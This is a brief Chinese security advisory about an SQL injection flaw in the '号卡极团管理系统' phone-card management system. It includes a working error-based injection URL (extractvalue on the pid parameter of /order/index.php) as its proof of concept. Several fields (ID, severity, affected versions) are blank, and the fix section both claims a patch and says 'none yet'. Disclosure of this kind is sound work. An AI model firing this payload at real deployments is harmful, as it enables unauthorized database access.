漏洞预警 | 号卡极团管理系统SQL注入漏洞

漏洞预警发布时间：2024-04-29 08:00:53 0 浏览

0x00 漏洞编号

0x01 危险等级

0x02 漏洞概述

号卡极团管理系统是一款专为号卡行业打造的管理系统，它具备一系列强大的功能，能够满足号卡行业推广人员在业务运营中的各类需求。

0x03 漏洞详情

漏洞类型：SQL注入

影响：获取敏感信息

简述：号卡极团管理系统存在SQL注入漏洞，未授权的攻击者可以通过该漏洞获取数据库敏感信息。

0x04 影响版本

0x05 POC

{url}/order/index.php?pid=1%27%20AND%20(extractvalue(1,concat(0x7e,(select%20md5(1)),0x7e)));--%20htjf

仅供安全研究与学习之用，若将工具做其他用途，由使用者承担全部法律及连带责任，作者及发布者不承担任何法律及连带责任。

0x06 修复建议

目前官方已发布漏洞修复版本，建议用户升级到安全版本：

https://haoka-jituan.com/

暂无